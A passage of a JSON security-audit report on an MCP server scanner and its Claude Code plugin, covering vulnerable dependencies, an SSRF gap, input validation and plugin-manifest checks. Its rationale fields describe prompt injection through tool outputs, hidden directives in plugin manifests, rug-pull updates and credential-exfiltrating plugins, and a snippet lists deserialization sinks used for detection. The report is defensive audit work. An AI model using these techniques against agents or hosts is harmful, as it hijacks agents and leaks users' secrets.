/entrypoint.py\n\nRUN adduser -D -u 10001 scanner \\\n && mkdir -p /work/download /work/package \\\n && chown -R scanner:scanner /work /entrypoint.py\nUSER scanner\nWORKDIR /work\n\nENTRYPOINT [\"python\", \"/entrypoint.py\"]"}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0007","rule_version":"1.2.0","rule_name":"Dependency Risk & Supply Chain","finding":"VULNERABLE","severity":"HIGH","realized_severity":"HIGH","confidence":"high","rationale":"uv.lock (126 pinned packages, committed to the repo) pins anyio==4.12.0, cryptography==46.0.3, mcp==1.25.0, and pyjwt==2.10.1 among other transitive deps. Trivy's dependency scan of this lockfile identified 25 known HIGH/CRITICAL CVEs with fixed versions already published: CVE-2026-63374 (anyio), CVE-2026-102268/102267/102271 (pyjwt), CVE-2026-32597/48526 (pyjwt), CVE-2026-26007/69247/69249/GHSA-537c (cryptography), CVE-2026-104851 (fsspec), CVE-2026-52869/52870/59950 (mcp SDK), GHSA-6v7p (msgpack), CVE-2026-24486/42561/53539 (python-multipart), CVE-2026-48818/54283 (starlette), and CVE-2026-21441/44431/44432/97687/97689 (urllib3). The `uv sync`-based install/CI path consumes this lockfile directly and preserves these known-vulnerable versions in a supported installation path; the Dockerfile's `pip install .` branch does not itself read uv.lock and instead resolves constraints from pyproject.toml, but this does not eliminate the uv-sync-based exposure. These packages are wired into the shipped runtime: pyjwt backs OAuth/JWT handling, cryptography underlies TLS and OAuth token signing, mcp is the core SDK transport client used in every scan, and anyio/starlette/python-multipart underlie the FastAPI REST server. No scheduled dependency-update gate was found wired into CI to keep these current.","vulnerability_details":null,"fix_guidance":"Run `uv lock --upgrade-package anyio --upgrade-package pyjwt --upgrade-package cryptography --upgrade-package mcp --upgrade-package msgpack --upgrade-package python-multipart --upgrade-package starlette --upgrade-package urllib3` (or a full `uv lock --upgrade`), re-run Trivy to confirm closure, and add a scheduled dependency-update workflow (Dependabot/Renovate) to catch future CVEs automatically.","why_this_matters":"Prevents typosquat and malicious update compromise.","context_note":"[capability_by_design|relief:none|ineligible:within_declared_contract] within_declared_contract is ineligible for relief on ATR-C0007 because the rule declares that signal orthogonal to its risk (discount_ineligible_signals); the reported behaviour is within the tool's declared capability, and that does not reduce this finding's severity. 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\\\n      pip install --no-cache-dir .; \\\n    elif [ -n \"$SCANNER_PACKAGE_VERSION\" ]; then \\\n      pip install --no-cache-dir \"cisco-ai-mcp-scanner==${SCANNER_PACKAGE_VERSION}\"; \\\n    else \\\n      pip install --no-cache-dir cisco-ai-mcp-scanner; \\\n    fi \\\n && apk del gcc musl-dev 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everity":"HIGH","installed_version":"2.6.2","fixed_version":"2.8.0"}},{"path":"uv.lock","start_line":0,"end_line":0,"snippet":null,"vulnerability":{"vulnerability_id":"CVE-2026-97689","pkg_name":"urllib3","severity":"HIGH","installed_version":"2.6.2","fixed_version":"2.8.0"}},{"path":"uv.lock","start_line":0,"end_line":0,"snippet":null,"vulnerability":{"vulnerability_id":"CVE-2026-64847","pkg_name":"anyio","severity":"MEDIUM","installed_version":"4.12.0","fixed_version":"4.14.2"}},{"path":"uv.lock","start_line":0,"end_line":0,"snippet":null,"vulnerability":{"vulnerability_id":"CVE-2026-39892","pkg_name":"cryptography","severity":"MEDIUM","installed_version":"46.0.3","fixed_version":"46.0.7"}},{"path":"uv.lock","start_line":0,"end_line":0,"snippet":null,"vulnerability":{"vulnerability_id":"CVE-2026-69248","pkg_name":"cryptography","severity":"MEDIUM","installed_version":"46.0.3","fixed_version":"49.0.0"}},{"path":"uv.lock","start_line":0,"end_line":0,"snippet":null,"vulnerability":{"vulnerability_id":"CVE-2026-22701","pkg_name":"filelock","severity":"MEDIUM","installed_version":"3.20.1","fixed_version":"3.20.3"}},{"path":"uv.lock","start_line":0,"end_line":0,"snippet":null,"vulnerability":{"vulnerability_id":"CVE-2026-45409","pkg_name":"idna","severity":"MEDIUM","installed_version":"3.11","fixed_version":"3.15"}},{"path":"uv.lock","start_line":0,"end_line":0,"snippet":null,"vulnerability":{"vulnerability_id":"CVE-2026-104874","pkg_name":"multidict","severity":"MEDIUM","installed_version":"6.7.0","fixed_version":"6.9.1"}},{"path":"uv.lock","start_line":0,"end_line":0,"snippet":null,"vulnerability":{"vulnerability_id":"CVE-2026-13346","pkg_name":"pip","severity":"MEDIUM","installed_version":"26.0.1","fixed_version":"26.2.0"}},{"path":"uv.lock","start_line":0,"end_line":0,"snippet":null,"vulnerability":{"vulnerability_id":"CVE-2026-3219","pkg_name":"pip","severity":"MEDIUM","installed_version":"26.0.1","fixed_version":"26.1"}},{"path":"uv.lock","start_line":0,"end_line":0,"snippet":null,"vulnerability":{"vulnerability_id":"CVE-2026-6357","pkg_name":"pip","severity":"MEDIUM","installed_version":"26.0.1","fixed_version":"26.1"}},{"path":"uv.lock","start_line":0,"end_line":0,"snippet":null,"vulnerability":{"vulnerability_id":"CVE-2026-8643","pkg_name":"pip","severity":"MEDIUM","installed_version":"26.0.1","fixed_version":"26.1.2"}},{"path":"uv.lock","start_line":0,"end_line":0,"snippet":null,"vulnerability":{"vulnerability_id":"GHSA-4xgf-cpjx-pc3j","pkg_name":"pydantic-settings","severity":"MEDIUM","installed_version":"2.12.0","fixed_version":"2.14.2"}}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0008","rule_version":"1.2.0","rule_name":"Missing or Inadequate Input Validation","finding":"VULNERABLE","severity":"HIGH","realized_severity":"HIGH","confidence":"high","rationale":"While SpecificToolScanRequest's server_url field is validated by a scheme-prefix check and the analyzer allowlist enforcement is real, the `/scan-all-tools` family of routes uses APIScanRequest, a separate model whose server_url field is a bare string with no field_validator and no model_config forbidding extra/malformed input. That value is forwarded directly into outbound MCP session creation with no scheme, host, or length validation on this path. The rule's input-validation bar is not met for this specific, reachable route.","vulnerability_details":null,"fix_guidance":"Add the same (or a shared) server_url field_validator used by SpecificToolScanRequest to APIScanRequest (and any other request model accepting a server_url), enforcing scheme/host format validation before the value reaches session-creation logic.","why_this_matters":"Frontline control to prevent multiple classes of vulns.","context_note":"[capability_by_design|relief:none|ineligible:within_declared_contract] within_declared_contract is ineligible for relief on ATR-C0008 because the rule declares that signal orthogonal to its risk (discount_ineligible_signals); the reported behaviour is within the tool's declared capability, and that does not reduce this finding's severity. No context relief applies; realized severity equals HIGH.","within_declared_contract":null,"transport_gated":null,"mitigation_present":null,"evidence":[{"path":"mcpscanner/core/models.py","start_line":301,"end_line":309,"snippet":"class APIScanRequest(BaseModel):\n    \"\"\"Base request for scanning MCP servers via API.\"\"\"\n\n    server_url: str\n    analyzers: List[AnalyzerEnum] = Field(\n        default=[AnalyzerEnum.API, AnalyzerEnum.YARA, AnalyzerEnum.LLM],\n        description=(\n            \"List of analyzers to run. The HTTP API is restricted to \"\n            f\"{sorted(a.value for a in API_ALLOWED_ANALYZERS)}. The remaining \""},{"path":"mcpscanner/api/router.py","start_line":487,"end_line":499,"snippet":"@router.post(\n    \"/scan-all-tools\",\n    response_model=Union[AllToolsScanResponse, FormattedToolScanResponse],\n    tags=[\"Scanning\"],\n)\nasync def scan_all_tools_endpoint(\n    request: APIScanRequest,\n    http_request: Request,\n    scanner_factory: ScannerFactory = Depends(get_scanner),\n):\n    \"\"\"Scan all tools on an MCP server.\"\"\"\n    logger.debug(f\"Starting full server scan - server: {request.server_url}\")\n"},{"path":"mcpscanner/api/router.py","start_line":518,"end_line":525,"snippet":"                auth = Auth.custom(request.auth.custom_headers)\n\n        results = await scanner.scan_remote_server_tools(\n            server_url=request.server_url,\n            auth=auth,\n            analyzers=analyzers,\n            http_headers=http_headers,\n            **_hybrid_routing_kwargs(request),"},{"path":"mcpscanner/core/scanner.py","start_line":2273,"end_line":2285,"snippet":"        try:\n            client_context, session = await self._get_mcp_session(\n                server_url,\n                auth,\n                connector_id=connector_id,\n                tenant_id=tenant_id,\n            )\n\n            # List all tools\n            try:\n                tool_list = await session.list_tools()\n            except McpError as e:\n                if self._is_missing_capability_error(e):"}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0009","rule_version":"1.2.0","rule_name":"Insecure Deserialization","finding":"SECURE","severity":"HIGH","realized_severity":null,"confidence":"low","rationale":"No use of pickle.load(s), yaml.load/yaml.unsafe_load, or marshal.load on untrusted data was found anywhere in the shipped application runtime. The only occurrences of these strings are (a) in the tool's own static analyzer, where they are listed as sink patterns the analyzer searches for when scanning third-party MCP server code (detection signatures, not executed code), and (b) in prompt template markdown files used to instruct the LLM judge what to look for. No first-party code deserializes attacker-controlled bytes with an unsafe loader.","vulnerability_details":null,"fix_guidance":null,"why_this_matters":"Can lead to arbitrary code execution.","context_note":null,"within_declared_contract":null,"transport_gated":false,"mitigation_present":true,"evidence":[{"path":"mcpscanner/core/static_analysis/taint/patterns.py","start_line":385,"end_line":392,"snippet":"        # deserialization sinks the analyzer searches for in SCANNED code\n            \"pickle.load\", \"pickle.loads\",\n            \"yaml.load\", \"yaml.unsafe_load\",\n            \"marshal.load\", \"marshal.loads\","}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0010","rule_version":"1.2.0","rule_name":"Lack of Output Encoding/Sanitization","finding":"VULNERABLE","severity":"MEDIUM","realized_severity":"MEDIUM","confidence":"high","rationale":"Remote MCP-controlled tool names (and other scanned metadata) flow from ToolScanResult.tool_name through the CLI's report generator into formatted terminal output without ANSI/control-character sanitization. Although the REST API path returns only structured JSON, the CLI's terminal-rendering path is in-scope for this rule's output-sanitization requirement, and the above flow lacks the needed sanitization, so the rule applies and is violated.","vulnerability_details":null,"fix_guidance":"Sanitize or strip ANSI escape sequences and other control characters from remotely-sourced tool/prompt/resource names (and any other scanned-server-controlled strings) before interpolating them into CLI-rendered report text.","why_this_matters":"Prevents UI-level injection and operator compromise.","context_note":"[capability_by_design|relief:none|ineligible:within_declared_contract] within_declared_contract is ineligible for relief on ATR-C0010 because the rule declares that signal orthogonal to its risk (discount_ineligible_signals); the reported behaviour is within the tool's declared capability, and that does not reduce this finding's severity. No context relief applies; realized severity equals MEDIUM.","within_declared_contract":null,"transport_gated":null,"mitigation_present":null,"evidence":[{"path":"mcpscanner/core/report_generator.py","start_line":184,"end_line":190,"snippet":"        # Add type-specific fields\n        if hasattr(result, \"tool_name\"):\n            # ToolScanResult\n            result_dict[\"tool_name\"] = result.tool_name\n            result_dict[\"tool_description\"] = result.tool_description\n            result_dict[\"item_type\"] = \"tool\"\n        elif hasattr(result, \"prompt_name\"):"},{"path":"mcpscanner/core/report_generator.py","start_line":405,"end_line":414,"snippet":"            item_type = result.get(\"item_type\", \"tool\")\n\n            if item_type == \"tool\":\n                item_name = result.get(\n                    \"tool_name\", result.get(\"package_name\", \"Unknown\")\n                )\n            elif item_type == \"prompt\":\n                item_name = result.get(\"prompt_name\", \"Unknown\")\n            elif item_type == \"resource\":\n                item_name = result.get(\"resource_name\", \"Unknown\")"},{"path":"mcpscanner/cli.py","start_line":2781,"end_line":2790,"snippet":"        # Generate and display report\n        formatted_output = formatter.format_output(\n            format_type=output_format,\n            tool_filter=args.tool_filter,\n            analyzer_filter=args.analyzer_filter,\n            severity_filter=severity_filter,\n            show_safe=not args.hide_safe,\n        )\n        print(formatted_output)\n"}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0011","rule_version":"1.4.0","rule_name":"Path Traversal & Symlink Bypass (Filesystem Tools)","finding":"SECURE","severity":"HIGH","realized_severity":null,"confidence":"high","rationale":"The package sandbox extraction path (used when scanning PyPI/npm packages pulled from untrusted registries) uses Python's tarfile `filter=\"data\"` (hardened extraction available on this project's Python floor) which rejects absolute paths, '..' traversal, symlinks/hardlinks pointing outside the root, and special files, combined with explicit byte/file count caps applied before extraction. A semgrep hit on this line is context-guarded by the presence of the `filter=\"data\"` argument, which is the documented mitigation for that exact pattern.","vulnerability_details":null,"fix_guidance":null,"why_this_matters":"Traversal exposes arbitrary host files; can lead to code execution.","context_note":null,"within_declared_contract":true,"transport_gated":false,"mitigation_present":true,"evidence":[{"path":"mcpscanner/core/package_sandbox.py","start_line":744,"end_line":774,"snippet":"    try:\n        with tarfile.open(archive, \"r:gz\") as tf:\n            members = tf.getmembers()\n            if len(members) > files_cap:\n                raise PackageExtractionError(...)\n            total_size = 0\n            for m in members:\n                if m.size and m.size > bytes_cap:\n                    raise PackageExtractionError(...)\n                total_size += m.size\n                if total_size > bytes_cap:\n                    raise PackageExtractionError(...)\n            # ``filter=\"data\"`` raises on absolute/traversal/symlink members.\n            tf.extractall(dest_dir, filter=\"data\")\n    except PackageExtractionError:\n        raise\n    except (tarfile.TarError, OSError) as e:\n        raise PackageExtractionError(f\"tarball extraction failed: {e}\") from e"}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0012","rule_version":"1.2.0","rule_name":"Denial of Wallet / Cost Controls","finding":"VULNERABLE","severity":"MEDIUM","realized_severity":"MEDIUM","confidence":"medium","rationale":"The scanner wires paid/metered external APIs (Cisco AI Defense inspect API, LLM providers via litellm) with no per-caller quota, daily budget, or cost ceiling anywhere in the codebase. VirusTotalAnalyzer implements only a local rate-limit counter to respect VirusTotal's own API limits (not a cost control), but VirusTotal scanning is explicitly SDK/CLI-only and not reachable via the REST API's analyzer set. The REST API's default/allowed analyzers (API and LLM) are reachable and dispatch one analysis task per remotely advertised tool, each invoking a metered completion API, with no cross-request budget/quota enforcement at the API layer. This reachable, unauthenticated, unbudgeted cost path independently establishes denial-of-wallet risk.","vulnerability_details":null,"fix_guidance":"Add per-API-key/per-tenant request quotas and a configurable daily/monthly cost budget for the LLM and Cisco AI Defense analyzers at the FastAPI dependency layer (e.g. a token-bucket limiter keyed on caller identity), and surface a 429/402 response when the budget is exceeded.","why_this_matters":"Prevents cost-based disruption.","context_note":"[capability_by_design|relief:none|ineligible:within_declared_contract] [readers_disagree:mitigation_present] within_declared_contract is ineligible for relief on ATR-C0012 because the rule declares that signal orthogonal to its risk (discount_ineligible_signals); the reported behaviour is within the tool's declared capability, and that does not reduce this finding's severity. The scan reported mitigation_present but the independent adjudication did not corroborate it; relief (-40%) requires both readers, so none is applied for that signal. No context relief applies; realized severity equals MEDIUM.","within_declared_contract":true,"transport_gated":false,"mitigation_present":true,"evidence":[{"path":"mcpscanner/core/analyzers/virustotal_analyzer.py","start_line":240,"end_line":248,"snippet":"        # Rate-limit tracking\n        self._api_calls: int = 0\n        self._minute_window_start: float = 0.0\n        self._minute_calls: int = 0\n\n        if self.api_key:\n            self.session.headers.update(\n                {\"x-apikey\": self.api_key, \"Accept\": \"application/json\"}\n            )"},{"path":"mcpscanner/api/router.py","start_line":492,"end_line":524,"snippet":"async def scan_all_tools_endpoint(\n    request: APIScanRequest,\n    http_request: Request,\n    scanner_factory: ScannerFactory = Depends(get_scanner),\n):\n    \"\"\"Scan all tools on an MCP server.\"\"\"\n    ...\n        results = await scanner.scan_remote_server_tools(\n            server_url=request.server_url,\n            auth=auth,\n            analyzers=analyzers,\n            http_headers=http_headers,\n            **_hybrid_routing_kwargs(request),\n        )"},{"path":"mcpscanner/core/models.py","start_line":304,"end_line":314,"snippet":"    server_url: str\n    analyzers: List[AnalyzerEnum] = Field(\n        default=[AnalyzerEnum.API, AnalyzerEnum.YARA, AnalyzerEnum.LLM],\n        description=(\n            \"List of analyzers to run. The HTTP API is restricted to \"\n            f\"{sorted(a.value for a in API_ALLOWED_ANALYZERS)}. ...\"\n        ),\n    )"}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0013","rule_version":"1.1.0","rule_name":"Tool Output Sanitization & Injection Containment","finding":"NOT_APPLICABLE","severity":"HIGH","realized_severity":null,"confidence":"medium","rationale":"This repository is not an MCP host/client that concatenates tool outputs into a live LLM conversation context for an end user; it is a standalone security scanner that reads MCP tool/prompt/resource/instruction content as the artifact under analysis and feeds it to its own internal LLM judge purely to classify it as malicious/benign. There is no agent loop here where a scanned server's output is re-injected as trusted context for further autonomous tool chaining -- the scanner's LLM call is a one-shot classification request whose only action is to emit a structured threat verdict, not a decision to invoke further tools. The threat this rule targets does not match this component's actual control-flow architecture: scanned content is always treated as adversarial input to be classified, never as trusted instructions to act upon.","vulnerability_details":null,"fix_guidance":null,"why_this_matters":"Tool outputs are a primary prompt-injection vector. Third-party content (web pages, files, API responses) may contain text crafted to override instructions or impersonate system/tool messages. Without a host-enforced envelope, sanitization, and an explicit untrusted-return signal, the model can be coerced into executing attacker-controlled directives, leaking secrets, or chaining further tool calls on behalf of the adversary.","context_note":null,"within_declared_contract":null,"transport_gated":false,"mitigation_present":null,"evidence":[{"path":"mcpscanner/core/analyzers/readiness/llm_judge.py","start_line":108,"end_line":117,"snippet":"        enabled_evaluations: List of evaluation IDs to run. Valid values:\n                             'actionable_errors', 'failure_modes', 'scope_clarity'.\n                             Defaults to all evaluations.\n        \"\"\"\n        self.model = (\n            model\n            or os.environ.get(MCPScannerConstants.ENV_LLM_MODEL)\n            or MCPScannerConstants.DEFAULT_LLM_MODEL\n        )\n        self.api_key = api_key or os.environ.get(MCPScannerConstants.ENV_LLM_API_KEY)"}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0014","rule_version":"1.2.0","rule_name":"CI/CD Workflow Script Injection","finding":"SECURE","severity":"HIGH","realized_severity":null,"confidence":"high","rationale":"Reviewed all five GitHub Actions workflows. No workflow uses pull_request_target, issue_comment, workflow_run, or repository_dispatch triggers. The only dangerous-sounding triggers present require repo-write/maintainer-level trigger capability, not arbitrary public-contributor control. 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No harvest step exists, so no harvest+exfil pair is constructible.","vulnerability_details":null,"fix_guidance":null,"why_this_matters":"A skill or plugin that couples a host-credential or live-conversation read with an outbound channel turns an ostensibly benign helper into an autonomous exfiltration agent, leaking long-lived secrets, session tokens, and confidential prompt context to an attacker on every invocation across every tool the artifact serves.","context_note":null,"within_declared_contract":null,"transport_gated":false,"mitigation_present":null,"evidence":[{"path":"claude-code-plugin/commands/deep-scan.md","start_line":1,"end_line":20,"snippet":"---\ndescription: Deep security scan using all analyzers (YARA, LLM, and Cisco AI Defense API)\n---\n\n# Deep Security Scan\n\nPerform a comprehensive security scan of the MCP server at \"$ARGUMENTS\" using all available analyzers.\n\nRun the following command:\n```bash\nmcp-scanner --analyzers yara,llm,api --format detailed remote --server-url \"$ARGUMENTS\"\n```\n\n**Requirements:**\n- MCP_SCANNER_LLM_API_KEY for LLM analysis\n- MCP_SCANNER_API_KEY for Cisco AI Defense API analysis"}],"affected_tools":null,"component_name":"skills-plugins/claude-code-plugin"},{"rule_id":"ATR-P0004","rule_version":"1.1.0","rule_name":"Format-Native Out-of-Band Execution and Host Control-Plane Persistence","finding":"NOT_APPLICABLE","severity":"CRITICAL","realized_severity":null,"confidence":"high","rationale":"The plugin ships none of the format-native execution/control-plane primitives this rule scopes to: no lifecycle/event hooks, no bundled entry scripts or binaries, no install/build steps, no git hooks, and no env-var assignments anywhere in the bundle. Commands are plain markdown instructing the model to invoke the already-registered Bash tool through the host's normal consent-gated flow -- not a format-native primitive per the rule's own scope guidance.","vulnerability_details":null,"fix_guidance":null,"why_this_matters":"Format-native execution and control-plane writes bypass the model's reasoning loop, converting a single install approval into durable, self-reinjecting code execution that can MITM the host agent's own model endpoint and silently subvert every subsequent tool call.","context_note":null,"within_declared_contract":null,"transport_gated":false,"mitigation_present":null,"evidence":[{"path":"claude-code-plugin/.claude-plugin/plugin.json","start_line":1,"end_line":12,"snippet":"{\n  \"name\": \"mcp-scanner\",\n  \"description\": \"Security scanning for MCP servers using YARA rules, LLM analysis, and Cisco AI Defense. Detect prompt injection, tool poisoning, and other threats in MCP tools, prompts, and resources.\",\n  \"version\": \"1.0.0\",\n  \"author\": {\n    \"name\": \"Cisco AI Defense\"\n  },"}],"affected_tools":null,"component_name":"skills-plugins/claude-code-plugin"},{"rule_id":"ATR-P0005","rule_version":"1.0.0","rule_name":"Over-Declared / Over-Privileged Artifact Manifest Scope","finding":"SECURE","severity":"HIGH","realized_severity":null,"confidence":"medium","rationale":"The plugin manifest declares no allowed-tools/permissions block at all, no wildcard capability grant, and no OAuth scope request. It ships zero executables, no package.json bin/postinstall, and no lifecycle hooks. Its commands document shelling out to the already-separately-installed mcp-scanner CLI via the host's normal Bash tool -- functionality intrinsic to a security-scanning plugin's stated purpose. There is no self-declared capability class beyond invoking one documented CLI tool for the plugin's sole documented function.","vulnerability_details":null,"fix_guidance":"Optionally add an explicit allowed-tools: [\"Bash\"] frontmatter declaration to the commands for documentation clarity, though absence of an explicit scope block is not itself a vulnerability here given the single documented CLI-invocation purpose.","why_this_matters":"An artifact that self-declares host privilege far beyond its stated function -- or hides executable reach inside a passive-looking package -- gives a single install a blast radius the operator never scoped, so any later mistake, compromise, or misconfiguration detonates across resources the artifact never needed.","context_note":null,"within_declared_contract":null,"transport_gated":false,"mitigation_present":null,"evidence":[{"path":"claude-code-plugin/.claude-plugin/plugin.json","start_line":1,"end_line":13,"snippet":"{\n  \"name\": \"mcp-scanner\",\n  \"description\": \"Security scanning for MCP servers using YARA rules, LLM analysis, and Cisco AI Defense. Detect prompt injection, tool poisoning, and other threats in MCP tools, prompts, and resources.\",\n  \"version\": \"1.0.0\",\n  \"author\": {\n    \"name\": \"Cisco AI Defense\"\n  },\n  \"repository\": \"https://github.com/cisco-ai-defense/mcp-scanner\",\n  \"license\": \"Apache-2.0\",\n  \"keywords\": [\"security\", \"mcp\", \"scanning\", \"yara\", \"threat-detection\"]\n}"}],"affected_tools":null,"component_name":"skills-plugins/claude-code-plugin"},{"rule_id":"ATR-P0006","rule_version":"1.1.0","rule_name":"Injection and Concealed Directives in Skill/Plugin Manifest and Instruction Text","finding":"SECURE","severity":"HIGH","realized_severity":null,"confidence":"high","rationale":"A codepoint scan of the manifest, README, and all 8 command markdown files found zero non-ASCII characters and no forged chat-template tokens, ANSI/OSC escapes, or HTML-comment/CSS-hidden concealment. A keyword scan for host-directed imperatives also returned no matches. All model-facing carrier text is purely descriptive task guidance.","vulnerability_details":null,"fix_guidance":"No action required.","why_this_matters":"A skill or plugin's always-loaded manifest and instruction carriers (frontmatter/body, `description_for_model`, Gemini `FunctionDeclaration.description` / Vertex AI extension `manifest` / ADK agent `instruction`, tool docstrings, JSON-Schema descriptions) are concatenated into the host agent prompt at operator privilege, so a directive that is hidden with non-printing codepoints, disguised with a homoglyph, forged with role-control tokens, or masked from the rendered view silently commandeers model behavior toward attacker-chosen actions across every tool the artifact serves -- with no code execution required and nothing visible to a reviewer reading the rendered text.","context_note":null,"within_declared_contract":null,"transport_gated":false,"mitigation_present":null,"evidence":[{"path":"claude-code-plugin/commands/quick-scan.md","start_line":1,"end_line":15,"snippet":"---\ndescription: Quick YARA-only scan of an MCP server (no API keys required)\n---\n\n# Quick Security Scan\n\nPerform a quick YARA-based security scan of the MCP server at \"$ARGUMENTS\".\n\nThis scan uses only YARA rules and does not require any API keys.\n\nRun the following command:\n```bash\nmcp-scanner --analyzers yara --format summary remote --server-url \"$ARGUMENTS\"\n```"}],"affected_tools":null,"component_name":"skills-plugins/claude-code-plugin"},{"rule_id":"ATR-P0007","rule_version":"1.0.0","rule_name":"Skill/Plugin Package Provenance, Integrity, and Post-Approval Mutation (Rug-Pull)","finding":"SECURE","severity":"HIGH","realized_severity":null,"confidence":"medium","rationale":"The plugin's model-facing instructions ship entirely inside the git-tracked bundle at this commit -- none are fetched at runtime from a publisher-mutable endpoint; there is no fetch/load call anywhere in the plugin that retrieves instructions or manifest content from a remote URL, and no auto-update/hot-reload logic exists in the plugin files themselves. There is no self-mutation code.","vulnerability_details":null,"fix_guidance":"If published to a marketplace, ensure the marketplace mechanism verifies a content digest at install and on update, and surfaces re-consent on any change to plugin.json/SKILL.md/commands.","why_this_matters":"A skill/plugin reviewed once and then trusted indefinitely becomes a rug-pull vector when its OWN model-facing instruction body, declared scope, or manifest can be live-swapped or silently mutated after approval -- without an approval-time digest that is re-compared on load and re-consent on any change, a publisher (or an attacker who compromises the distribution channel) can rewrite the artifact's trusted instructions or widen its tool scope under authority the host already granted, turning an approved package into an exfiltration or unauthorized-action backdoor.","context_note":null,"within_declared_contract":null,"transport_gated":false,"mitigation_present":null,"evidence":[{"path":"claude-code-plugin/README.md","start_line":28,"end_line":33,"snippet":"### Install Plugin\n\nLoad the plugin in Claude Code:\n\n```bash\nclaude --plugin-dir /path/to/claude-code-plugin\n```\n\nOr install from a marketplace if published."}],"affected_tools":null,"component_name":"skills-plugins/claude-code-plugin"},{"rule_id":"ATR-P0008","rule_version":"1.0.0","rule_name":"Skill/Plugin Impersonation, Typosquatting & Publisher Spoofing","finding":"SECURE","severity":"HIGH","realized_severity":null,"confidence":"high","rationale":"The plugin's declared name 'mcp-scanner' is a generic, accurate description of its own function -- not a near-miss/typosquat/homoglyph of any well-known third-party tool, provider, or registry name. The publisher is the verifiable source-host org: the repo origin matches the manifest's repository and author fields exactly. No trust-implying prefix, version-spoofing suffix, or impersonation prose appears anywhere in the manifest or README.","vulnerability_details":null,"fix_guidance":"No action required.","why_this_matters":"Impersonation is the entry point of the agentic supply chain (OWASP LLM ASI04 / MITRE ATT&CK T1195): a skill or plugin installed on the strength of a familiar name inherits the host agent's execution context before any payload runs. The deception front-runs trust, so catching the identity lie breaks the chain at the cheapest point -- and it is independent of whether the current code is benign, because the same trusted-looking name can ship a payload in the next version.","context_note":null,"within_declared_contract":null,"transport_gated":false,"mitigation_present":null,"evidence":[{"path":"claude-code-plugin/.claude-plugin/plugin.json","start_line":1,"end_line":9,"snippet":"{\n  \"name\": \"mcp-scanner\",\n  \"description\": \"Security scanning for MCP servers using YARA rules, LLM analysis, and Cisco AI Defense. Detect prompt injection, tool poisoning, and other threats in MCP tools, prompts, and resources.\",\n  \"version\": \"1.0.0\",\n  \"author\": {\n    \"name\": \"Cisco AI Defense\"\n  },\n  \"repository\": \"https://github.com/cisco-ai-defense/mcp-scanner\","}],"affected_tools":null,"component_name":"skills-plugins/claude-code-plugin"}],"repo_findings_inherited":[{"rule_id":"ATR-C0001","rule_version":"1.2.0","rule_name":"Unrestricted Network Fetch / SSRF","finding":"VULNERABLE","severity":"HIGH","realized_severity":"HIGH","confidence":"medium","rationale":"The REST API (/scan-tool, /scan-all-tools, /scan-prompt, /scan-resource endpoints) and CLI accept a caller-supplied server_url which the scanner's httpx/MCP SSE/streamable-HTTP client connects to directly. The URL validator only enforces an http(s):// scheme prefix -- it does not block loopback, RFC1918/link-local, or cloud-metadata IPs. By contrast, the PyPI/npm package-download sandbox path has an explicit private/loopback/link-local/multicast host check before dialing a URL; the MCP-server-scanning dial path has no equivalent check. When exposed as a multi-tenant REST API, a remote caller can direct the server process to connect to internal-only endpoints (metadata service, internal admin MCP servers, etc.) using the scanner's network position.","vulnerability_details":null,"fix_guidance":"Apply the same private/loopback/link-local/metadata IP denylist used in package_sandbox.py's _reject_private_resolved_host() to the MCP server-scanning dial path, or document/enforce that the REST API must only be deployed behind an authenticated, trusted-network boundary when binding to non-loopback interfaces.","why_this_matters":"Enables internal pivoting and data exfiltration.","context_note":"[confirmed_exploitable|relief:none] [readers_disagree:within_declared_contract] [readers_disagree:mitigation_present] Located evidence satisfies the rule's required-evidence contract. The scan reported within_declared_contract but the independent adjudication did not corroborate it; relief (-40%) requires both readers, so none is applied for that signal. The adjudication reported mitigation_present but the scan did not; relief (-40%) requires both readers, so none is applied for that signal. No context relief applies; realized severity equals HIGH.","within_declared_contract":true,"transport_gated":false,"mitigation_present":false,"evidence":[{"path":"mcpscanner/core/models.py","start_line":213,"end_line":222,"snippet":"    @field_validator(\"server_url\")\n    @classmethod\n    def validate_server_url(cls, v):\n        \"\"\"Validate server URL format.\"\"\"\n        if not v or not v.strip():\n            raise ValueError(\"Server URL cannot be empty\")\n        v = v.strip()\n        if not (v.startswith(\"http://\") or v.startswith(\"https://\")):\n            raise ValueError(\"Server URL must start with http:// or https://\")\n        return v"},{"path":"mcpscanner/api/router.py","start_line":397,"end_line":431,"snippet":"async def scan_tool_endpoint(\n    request: SpecificToolScanRequest,\n    http_request: Request,\n    scanner_factory: ScannerFactory = Depends(get_scanner),\n):\n    ...\n        result = await scanner.scan_remote_server_tool(\n            server_url=request.server_url,\n            tool_name=request.tool_name,\n            auth=auth,\n            analyzers=analyzers,\n            http_headers=http_headers,"},{"path":"mcpscanner/core/scanner.py","start_line":1956,"end_line":1965,"snippet":"        destination_url = server_url\n        dial_url, extra_headers = prepare_mcp_dial(\n            destination_url,\n            extra_headers,\n            connector_id,\n            tenant_id,\n            streaming=True,\n        )\n        if is_hybrid_connector_id(connector_id):\n            logger.debug("},{"path":"mcpscanner/core/package_sandbox.py","start_line":451,"end_line":486,"snippet":"def _reject_private_resolved_host(hostname: str) -> None:\n    \"\"\"Block hostnames that resolve to private or link-local addresses...\"\"\"\n    ...\n    Defense-in-depth only: DNS may be unavailable (check skipped) or\n    answers may change between resolution and connect (TOCTOU). The HTTPS\n    host allow-list remains the primary control.\n    \"\"\"\n    if not hostname:\n        return\n    try:\n        addr_infos = socket.getaddrinfo(hostname, None)\n            raise PackageDownloadError(...)"}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0002","rule_version":"1.3.2","rule_name":"Static Secrets","finding":"UNKNOWN","severity":"HIGH","realized_severity":null,"confidence":"high","rationale":"Final set of previously-unread flagged lines, completing all 46 Zeus-flagged sites for this rule. The remaining tool-poisoning fixture sites are '# POISONED' synthetic test data built to validate the scanner's own detector, not real secret disclosure. An env-var read with empty-string default is not a hardcoded secret. The remaining flagged sites are Auth constructor calls / scanner method calls built from caller-supplied credentials, not logging sinks, and one wraps the value in pydantic SecretStr immediately for redaction. No real secret value is hardcoded or logged across the full flagged set, though the repository-wide negative could not be independently proven complete within the evidence budget.","vulnerability_details":null,"fix_guidance":null,"why_this_matters":"Plaintext secrets are easily 